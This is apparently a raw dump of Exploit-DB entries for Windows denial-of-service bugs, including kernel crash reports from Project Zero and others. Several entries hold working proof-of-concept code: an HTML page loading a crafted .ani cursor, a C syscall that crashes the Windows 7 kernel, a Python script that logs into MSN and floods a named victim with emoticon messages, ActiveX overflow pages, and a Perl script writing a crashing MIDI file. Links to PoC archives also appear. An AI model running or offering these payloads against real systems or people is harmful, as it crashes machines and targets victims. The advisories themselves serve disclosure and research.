deardaniel/secdata-raw huggingface dataset:
Exploit-DB #721
Description: Microsoft Windows Kernel - '.ANI' File Parsing Crash
Type: dos
Platform: windows
Date: 2004-12-25
Author: Flashsky

Exploit:
<!--
Got to give it to flashsky on this one.  Download this lovely file to your desktop
and get ready to cry if your not patched or browse with ie and the vuln should work.

str0ke
-->

<html>
<style type="text/css">
<!--
body {CURSOR: url("sploits/KERNELBLUE.ani")}
-->
</style>
<body>[PII_REDACTED][PII_REDACTED]111111111
</body>
</html>

// milw0rm.com [2004-12-25]
Exploit-DB #39561
Description: Microsoft Windows Kernel - 'ATMFD.dll' OTF Font Processing Stack Corruption (MS16-026)
Type: dos
Platform: windows
Date: 2016-03-14
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=682

We have encountered a Windows kernel crash in the ATMFD.DLL OpenType driver while processing a corrupted OTF font file:

---
DRIVER_OVERRAN_STACK_BUFFER (f7)
A driver has overrun a stack-based buffer.  This overrun could potentially
allow a malicious user to gain control of this machine.
DESCRIPTION
A driver overran a stack-based buffer (or local variable) in a way that would
have overwritten the function's return address and jumped back to an arbitrary
address when the function returned.  This is the classic "buffer overrun"
hacking attack and the system has been brought down to prevent a malicious user
from gaining complete control of it.
Do a kb to get a stack backtrace -- the last routine on the stack before the
buffer overrun handlers and bugcheck call is the one that overran its local
variable(s).
Arguments:
Arg1: a6703535, Actual security check cookie from the stack
Arg2: 98ee9e09, Expected security check cookie
Arg3: 671161f6, Complement of the expected security check cookie
Arg4: 00000000, zero

Debugging Details:
------------------


DEFAULT_BUCKET_ID:  VERIFIER_ENABLED_VISTA_MINIDUMP

SECURITY_COOKIE:  Expected 98ee9e09 found a6703535

CUSTOMER_CRASH_COUNT:  1

BUGCHECK_STR:  0xF7

PROCESS_NAME:  csrss.exe

CURRENT_IRQL:  0

ANALYSIS_VERSION: 6.3.9600.17237 (debuggers(dbg)[PII_REDACTED]) x86fre

LAST_CONTROL_TRANSFER:  from 98ea5720 to 82725b84

STACK_TEXT:  
a6723488 98ea5720 000000f7 a6703535 98ee9e09 nt!KeBugCheckEx+0x1e
WARNING: Stack unwind information not available. Following frames may be wrong.
a67234a8 98ec57f6 [PII_REDACTED] 08680370 ATMFD+0x15720
a672353c 98ec5b0e 00400000 a6[PII_REDACTED]0000 ATMFD+0x357f6
a6[PII_REDACTED]ef90 ff68a[PII_REDACTED]0 ff68a000 ATMFD+0x35b0e
a6[PII_REDACTED]0853 3e9ca839 a6723734 98ec5063 nt!VerifierExFreePoolWithTag+0x30
a6[PII_REDACTED]0000 a672364c a6723790 a6723868 win32k!VerifierEngFreeMem+0x5b
a6723790 98e95328 98e953b4 98e953be 98e95442 0x400000
a67237c8 00[PII_REDACTED]1f98 [PII_REDACTED] ATMFD+0x5328
---

While we have not determined the specific root cause of the vulnerability, we have pinpointed the offending mutations to reside in the "CFF " table.

The immediate reason of the bugcheck is a stack corruption detected by the stack cookie protection (/GS). The issue reproduces on Windows 7 and 8.1; other platforms were not tested. In our environment, it is sufficient to open the offending font in the default Windows Font Viewer to reproduce the crash, or even click on a folder icon containing the font in Windows Explorer.

Attached is an archive with the proof-of-concept mutated OTF file, together with the original font used to generate it and a corresponding crash log from Windows 7 32-bit.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39561.zip
Exploit-DB #39648
Description: Microsoft Windows Kernel - 'NtGdiGetTextExtentExW' Out-of-Bounds Memory Read
Type: dos
Platform: windows
Date: 2016-04-01
Author: Nils Sommer

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=685

The attached Proof-of-Concept crashes Windows 7 with special pool enabled on win32k.sys. The crash is due accessing memory past the end of a buffer.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39648.zip
Exploit-DB #45104
Description: Microsoft Windows Kernel - 'win32k!NtUserConsoleControl' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2018-07-30
Author: vportal

Exploit:
/*
# Exploit Title: Microsoft Windows Kernel - 'win32k!NtUserConsoleControl' Denial of Service (PoC)
# Author: vportal
# Date: 2018-07-27
# Vendor homepage: http://www.microsoft.com
# Version: Windows 7 x86
# Tested on: Windows 7 x86
# CVE: N/A

# It is possible to trigger a BSOD caused by a Null pointer deference when calling the system 
# call NtUserConsoleControl with the following arguments:

# NtUserControlConsole(1,0,8).
# NtUserControlConsole(4,0,8).
# NtUserControlConsole(6,0,12).
# NtUserControlConsole(2,0,12).
# NtUserControlConsole(3,0,20).
# NtUserControlConsole(5,0,8).

# Different crashes are reproduced for each case. For the second case the crash is showed below:
# EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - La instrucci n en 0x%08lx hace referencia a la memoria 
# en 0x%08lx. La memoria no se pudo %s.
# FAULTING_IP:
# win32k!xxxSetConsoleCaretInfo+c
# 93310641 8b0e            mov     ecx,dword ptr [esi]

# TRAP_FRAME:  8c747b2c -- (.trap 0xffffffff8c747b2c)
# ErrCode = 00000000
# eax=00000000 ebx=00000000 ecx=84fc9100 edx=00000000 esi=00000000 edi=00000003
# eip=93310641 esp=8c747ba0 ebp=8c747bb0 iopl=0         nv up ei ng nz ac po nc
# cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010292
# win32k!xxxSetConsoleCaretInfo+0xc:
# 93310641 8b0e            mov     ecx,dword ptr [esi]  ds:0023:00000000=????????
# Resetting default scope

# CUSTOMER_CRASH_COUNT:  1
# DEFAULT_BUCKET_ID:  VISTA_DRIVER_FAULT
# BUGCHECK_STR:  0x8E
# PROCESS_NAME:  Win32k-fuzzer_

# CURRENT_IRQL:  0
# LAST_CONTROL_TRANSFER:  from 9330fc27 to 93310641

# STACK_TEXT: 
# 8c747bb0 9330fc27 [PII_REDACTED] 00000014 win32k!xxxSetConsoleCaretInfo+0xc
# 8c747bcc 9330fa8d [PII_REDACTED] 00000014 win32k!xxxConsoleControl+0x147
# 8c747c20 82848b8e [PII_REDACTED] 00000014 win32k!NtUserConsoleControl+0xc5
# 8c747c20 012e6766 [PII_REDACTED] 00000014 nt!KiSystemServicePostCall
# WARNING: Frame IP not in any known module. Following frames may be wrong.
# 0016f204 [PII_REDACTED] [PII_REDACTED] 0x12e6766

# PoC code:
*/

#include <Windows.h>

extern "C"

ULONG CDECL SystemCall32(DWORD ApiNumber, ...) 
{
__asm{mov eax, ApiNumber};
__asm{lea edx, ApiNumber + 4};
__asm{int 0x2e};
}


int _tmain(int argc, _TCHAR* argv[])
{

int st = 0;
int syscall_ID = 0x1160; //NtUserControlConsole ID Windows 7

LoadLibrary(L"user32.dll");

st = (int)SystemCall32(syscall_ID, 4, 0, 8);

return 0;
}

# The vulnerability has only been tested  in Windows 7 x86.
Exploit-DB #39025
Description: Microsoft Windows Kernel - 'win32k!OffsetChildren' Null Pointer Dereference
Type: dos
Platform: windows
Date: 2015-12-17
Author: Nils Sommer

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=544

The attached PoC triggers a null pointer vulnerability in OffsetChildren on Windows 7 32-bit. By mapping the null page an attacker can leverage this vulnerability to write to an arbitrary address.
---


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39025.zip
Exploit-DB #39647
Description: Microsoft Windows Kernel - Bitmap Use-After-Free
Type: dos
Platform: windows
Date: 2016-04-01
Author: Nils Sommer

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=686

​The attached Proof-of-Concept crashes Windows 7 with special pool enabled on win32k.sys. The crashes are triggering in multiple different ways (two examples attached).


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39647.zip
Exploit-DB #38272
Description: Microsoft Windows Kernel - Brush Object Use-After-Free (MS15-061)
Type: dos
Platform: windows
Date: 2015-09-22
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=304

Creating a device context with the flag (DCX_NORESETATTRS​) and selecting a brush object into the device context will result in the brush being freed on process exit without the reference to the object being cleared. The PoC consists of two files (prime304.cpp  and poc304.cpp). poc304 will execute prime304, which triggers the issue and allows poc304 to retrieve a handle to the device context with the pointer to the freed object. We can confirm this by requesting the handle for the brush object from the device context, resulting in reading freed memory. In some cases the issue leads to memory corruption when for example another object is allocated into the space of the free brush object (see attached crash logs for examples).

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38272.zip
Exploit-DB #38796
Description: Microsoft Windows Kernel - Device Contexts and NtGdiSelectBitmap Use-After-Free (MS15-115)
Type: dos
Platform: windows
Date: 2015-11-23
Author: Nils Sommer

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=505

The attached testcase triggers a use-after-free condition in win32k. The attached debugger output was triggered on Windows 7 with Special Pool enabled on win32k.sys. 
---

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38796.zip
Exploit-DB #40766
Description: Microsoft Windows Kernel - Registry Hive Loading 'nt!RtlEqualSid' Out-of-Bounds Read (MS16-138)
Type: dos
Platform: windows
Date: 2016-11-15
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=874

We have encountered a Windows kernel crash in the nt!RtlEqualSid function invoked through nt!SeAccessCheck by nt!CmpCheckSecurityCellAccess while loading corrupted registry hive files. An example of a crash log excerpt generated after triggering the bug is shown below:

---
PAGE_FAULT_BEYOND_END_OF_ALLOCATION (cd)
N bytes of memory was allocated and more than N bytes are being referenced.
This cannot be protected by try-except.
When possible, the guilty driver's name (Unicode string) is printed on
the bugcheck screen and saved in KiBugCheckDriver.
Arguments:
Arg1: a1f11004, memory referenced
Arg2: 00000000, value 0 = read operation, 1 = write operation
Arg3: 816d40b3, if non-zero, the address which referenced memory.
Arg4: 00000000, Mm internal code.

Debugging Details:
------------------

[...]

STACK_TEXT:  
92bbb5e4 816f92b9 a1f11004 83af4ff0 92bbb6ac nt!RtlEqualSid+0x9
92bbb604 816d3[PII_REDACTED]0 20204d43 00000000 nt!RtlpOwnerAcesPresent+0x87
92bbb634 816d3cfe a1f10f50 00000001 00bbb6b0 nt!SeAccessCheckWithHint+0x178
92bbb668 818f8ff8 a1f10f50 92bbb6b0 00000000 nt!SeAccessCheck+0x2a
92bbb6c0 81820906 a75e69c8 000051d8 00000001 nt!CmpCheckSecurityCellAccess+0xe5
92bbb6fc 818206ad 03010001 92bbb728 92bbb718 nt!CmpValidateHiveSecurityDescriptors+0x1bd
92bbb73c 8182308f [PII_REDACTED] 8000054c nt!CmCheckRegistry+0xd8
92bbb798 817f6fa0 92bbb828 [PII_REDACTED] nt!CmpInitializeHive+0x55c
92bbb85c 817f7d85 92bbbbb8 00000000 92bbb9f4 nt!CmpInitHiveFromFile+0x1be
92bbb9c0 817ffaae 92bbbbb8 92bbba88 92bbba0c nt!CmpCmdHiveOpen+0x50
92bbbacc 817f83b8 92bbbb90 92bbbbb8 00000010 nt!CmLoadKey+0x459
92bbbc0c 8168edc6 0014f8a4 [PII_REDACTED] nt!NtLoadKeyEx+0x56c
92bbbc0c 77cc6bf4 0014f8a4 [PII_REDACTED] nt!KiSystemServicePostCall
WARNING: Frame IP not in any known module. Following frames may be wrong.
0014f90c [PII_REDACTED] [PII_REDACTED] 0x77cc6bf4

[...]

FOLLOWUP_IP: 
nt!RtlEqualSid+9
816d40b3 668b06          mov     ax,word ptr [esi]
---

The issue reproduces on Windows 7. It is easiest to reproduce with Special Pools enabled for the NT kernel (leading to an immediate crash when the bug is triggered), but it is also possible to observe a crash on a default Windows installation. In order to reproduce the problem with the provided sample, it is necessary to load it with a dedicated program which calls the RegLoadAppKey() API.

3 samples attached with single-byte differences compared to the original file, and the base sample itself.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40766.zip
Exploit-DB #40600
Description: Microsoft Windows Kernel - Registry Hive Loading Negative RtlMoveMemory Size in nt!CmpCheckValueList (MS16-124)
Type: dos
Platform: windows
Date: 2016-10-20
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=873

We have encountered Windows kernel crashes in the memmove() function called by nt!CmpCheckValueList while loading corrupted registry hive files. An example of a crash log excerpt generated after triggering the bug is shown below:

---
ATTEMPTED_WRITE_TO_READONLY_MEMORY (be)
An attempt was made to write to readonly memory.  The guilty driver is on the
stack trace (and is typically the current instruction pointer).
When possible, the guilty driver's name (Unicode string) is printed on
the bugcheck screen and saved in KiBugCheckDriver.
Arguments:
Arg1: b008d000, Virtual address for the attempted write.
Arg2: 45752121, PTE contents.
Arg3: a5d9b590, (reserved)
Arg4: 0000000b, (reserved)

Debugging Details:
------------------

[...]

STACK_TEXT:  
a5d9b60c 81820438 b008cb40 b008cb44 fffffffc nt!memmove+0x33
a5d9b670 8181f4f0 ab3709c8 00000000 b008cb34 nt!CmpCheckValueList+0x520
a5d9b6bc 8181fc01 03[PII_REDACTED]b3b8 00000020 nt!CmpCheckKey+0x661
a5d9b6f4 818206d0 ab3709c8 [PII_REDACTED] nt!CmpCheckRegistry2+0x89
a5d9b73c 8182308f 03[PII_REDACTED]057c 80000498 nt!CmCheckRegistry+0xfb
a5d9b798 817f6fa0 a5d9b828 [PII_REDACTED] nt!CmpInitializeHive+0x55c
a5d9b85c 817f7d85 a5d9bbb8 00000000 a5d9b9f4 nt!CmpInitHiveFromFile+0x1be
a5d9b9c0 817ffaae a5d9bbb8 a5d9ba88 a5d9ba0c nt!CmpCmdHiveOpen+0x50
a5d9bacc 817f83b8 a5d9bb90 a5d9bbb8 00000010 nt!CmLoadKey+0x459
a5d9bc0c 8168edc6 0025fd58 [PII_REDACTED] nt!NtLoadKeyEx+0x56c
a5d9bc0c 77806bf4 0025fd58 [PII_REDACTED] nt!KiSystemServicePostCall
WARNING: Frame IP not in any known module. Following frames may be wrong.
0025fdc0 [PII_REDACTED] [PII_REDACTED] 0x77806bf4
---

The root cause of the bug seems to be that the nt!CmpCheckValueList function miscalculates the number of items to be shifted to the left in an array with 4-byte entries, resulting in the following call:

RtlMoveMemory(&array[x], &array[x + 1], 4 * (--y - x));

Here, the eventual value of the size parameter becomes negative (--y is smaller than x), but is treated by RtlMoveMemory as an unsigned integer, which is way beyond the size of the memory region, resulting in memory corruption. In a majority of observed cases, the specific negative value ended up being 0xfffffffc (-4), but we have also seen a few samples which crashed with size=0xfffffff8 (-8).

The issue reproduces on Windows 7. Considering the huge memory copy size, the crash should manifest both with and without Special Pools enabled. In order to reproduce the problem with the provided samples, it is necessary to load them with a dedicated program which calls the RegLoadAppKey() API.

Attached are three proof of concept hive files.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40600.zip
Exploit-DB #14613
Description: Microsoft Windows Live Messenger 14.0.8117 - Animation Remote Denial of Service
Type: dos
Platform: windows
Date: 2010-08-11
Author: TheLeader

Exploit:
# Exploit Title: Windows Live Messenger <= 14.0.8117 animation remote Denial of Service
# Date: 11/08/2010
# Author: TheLeader
# Email: gsog2009 [a7] hotmail [d0t] com
# Software Link: http://explore.live.com/windows-live-messenger
# Version: 14.0.8117 and prior
# Tested on: Windows 7 x86

# msnlib required: http://blitiri.com.ar/p/msnlib/
# Greets: forums.hacking.org.il - <3UGUYS
# SP. thx goes to Alberto <albertito [a7] blitiri [d0t] com [d0t] ar> for
#              the msnlib library / Original msnbot example (that I modded =] )

# Description:
# Windows Live Messenger is prone to a Denial of Service attack. By sending
# specially crafted messages that contain a large number of animations ("Smileys"),
# it is possible to make WLM consume large amounts of memory and CPU while 
# it attempts to render the animated images, causing it to stop responding.

import sys
import time
import select
import socket
import thread
import msnlib
import msncb

payload = ":'(" * 500

m = msnlib.msnd()
m.cb = msncb.cb()

def do_work():
	time.sleep(15)
	
	for i in range(100):
		print m.sendmsg(victim, payload)
	
	time.sleep(30)
	quit()


try:
	m.email = sys.argv[1]
	m.pwd = sys.argv[2]
	victim = sys.argv[3]
except:
	print "Usage: msnkeep.py account password victim_account"
	sys.exit(1)

m.login()
m.sync()

m.change_status("online")

def quit():
	try:
		m.disconnect()
	except:
		pass
	sys.exit(0)

thread.start_new_thread(do_work, ())

while 1:
	t = m.pollable()
	infd = t[0]
	outfd = t[1]

	try:
		fds = select.select(infd, outfd, [], 0)
	except:
		quit()
	
	for i in fds[0] + fds[1]:
		try:
			m.read(i)
		except ('SocketError', socket.error), err:
			if i != m:
				m.close(i)
			else:
				quit()

	time.sleep(0.01)
Exploit-DB #11070
Description: Microsoft Windows Live Messenger 2009 - ActiveX Denial of Service
Type: dos
Platform: windows
Date: 2010-01-08
Author: HACKATTACK IT SECURITY GmbH

Exploit:
Product:
Windows Live Messenger 2009 (Build 14.0.8089.726)

************************************************************************
********
Vulnerability:
ActiveX - Denial of Service

************************************************************************
********
Discussion:
Vulnerability is in Activex Control(msgsc.14.0.8089.726.dll)
Sending a string to ViewProfile() , cause a crash on msnmsgr.exe
*must be signed in Msn Messenger account for triggerin the vulnerability.

************************************************************************
********
Vulnerable:
Windows Live Messenger 2009 on Windows Vista
Windows Live Messenger 2009 on Windows 7

Not Vulnerable:
Windows Live Messenger 2009 on Windows XP

Credits:
HACKATTACK IT SECURITY GmbH
Penetration Testing in Deutschland - Österreich - Schweiz
www.hackattack.com

and

Natal Networks Inc.
Vulnerability Discovery, Penetration Testing, IT Security Consulting
www.natalnetworks.com

************************************************************************
********

Original Advisory
www.hackattack.com
www.natalnetworks.com

************************************************************************
********
PoC .wsf script:
'works on vista and windows7

<package>

<job id='DoneInVBS' debug='false' error='true'>

<object classid='clsid:B69003B3-C55E-4B48-836C-BC5946FC3B28' id='target' />

<script language='vbscript'>

arg1=("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")

target.ViewProfile arg1

</script>

</job>

</package>

About HACKATTACK and Natal Networks
================
HACKATTACK IT SECURITY GmbH is a Penetrationtest and Security Auditing company located in Germany and Austria
More Information about HACKATTACK at
http://www.hackattack.com

Natal Networks was founded by Hellcode Research Team in 2009.
Main mission of Natal Network is discover and research vulnerabilities.
Providing penetration tests and security auditing services.
More about; www.natalnetworks.com
Exploit-DB #11214
Description: Microsoft Windows Live Messenger 2009 - ActiveX Heap Overflow (PoC)
Type: dos
Platform: windows
Date: 2010-01-21
Author: SarBoT511

Exploit:
#Aouther : [SarBoT511] (xs3@hotmail.com)
#Exploits title :[Windows Live Messenger 2009 ActiveX Heap Overflow PoC]
#tested on :[windows 7 & Vista & Xp sp3]
#Windows Live Messenger SkyDrive 2009

<html>
<object classid='clsid:C2828995-4A83-4100-A212-3024BA117356' id='target' ></object>
<script language='vbscript'>
targetFile = "C:\Program Files\Windows Live SkyDrive\Microsoft.Live.Folders.RichUpload.3.dll"
prototype  = "Property Let RichUploadControlContextData As String"
memberName = "RichUploadControlContextData"
progid     = "RichUploadLib.UploadControl"
argCount   = 1
 
arg1="%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s"
 
target.RichUploadControlContextData = arg1
 
</script>
Exploit-DB #30825
Description: Microsoft Windows Media Digital Rights Management - ActiveX Control Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2006-10-09
Author: Joxean Koret

Exploit:
source: https://www.securityfocus.com/bid/26630/info

Microsoft Windows Digital Rights Management (DRM) ActiveX control is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.

Successfully exploiting this issue allows remote attackers to execute arbitrary code in the context of the application using the ActiveX control (typically Internet Explorer). Failed exploit attempts likely result in denial-of-service conditions. 

<html>
<script>
function test()
{
var obj;
var x;

x = "AAAA";

for (i=0;i<=21;++i)
x += x;

obj = document.getElementById(&#039;testObj&#039;);
obj.StoreLicense(x);
}
</script>
<body onload="test();">
<object id=&#039;testObj&#039;
classid="CLSID:{760c4b83-e211-11d2-bf3e-00805fbe84a6}">
</object>
</body>
</html>
Exploit-DB #8445
Description: Microsoft Windows Media Player - '.mid' Integer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-04-15
Author: HuoFu

Exploit:
#!/usr/bin/perl
#
# Windows Media Player (.mid file) Integer Overflow PoC
# By HuoFu
#
# Test Windows Media Player.  Ver: 11.0.5721.5260
#

open(Fin, ">crash.mid") || die "can't create crash sample.$!";

$data = "\x4d\x54\x68\x64\x00\x00\x00\x06\x00\x01\x00\x01\x00\x60\x4d\x54".
"\x72\x6b\x00\x00\x00\x4e\x00\xff\x03\x08\x34\x31\x33\x61\x34\x61".
"\x35\x30\x00\x91\x41\x60\x01\x3a\x60\x01\x4a\x60\x01\x50\x60\x7d".
"\x81\x41\x01\x01\x3a\x5f\x8d\xe4\xa0\x01\x50\x01\x3d\x91\x41\x60".
"\x81\x00\x81\x41\x40\x00\x91\x3a\x60\x81\x00\x76\x6f\xcc\x3d\xa6".
"\xc2\x48\xee\x8e\xca\xc2\x57\x00\x91\x50\x60\x81\x00\x81\x50\x40".
"\x00\xff\x2f\x00";

print Fin $data;

close(Fin);

# milw0rm.com [2009-04-15]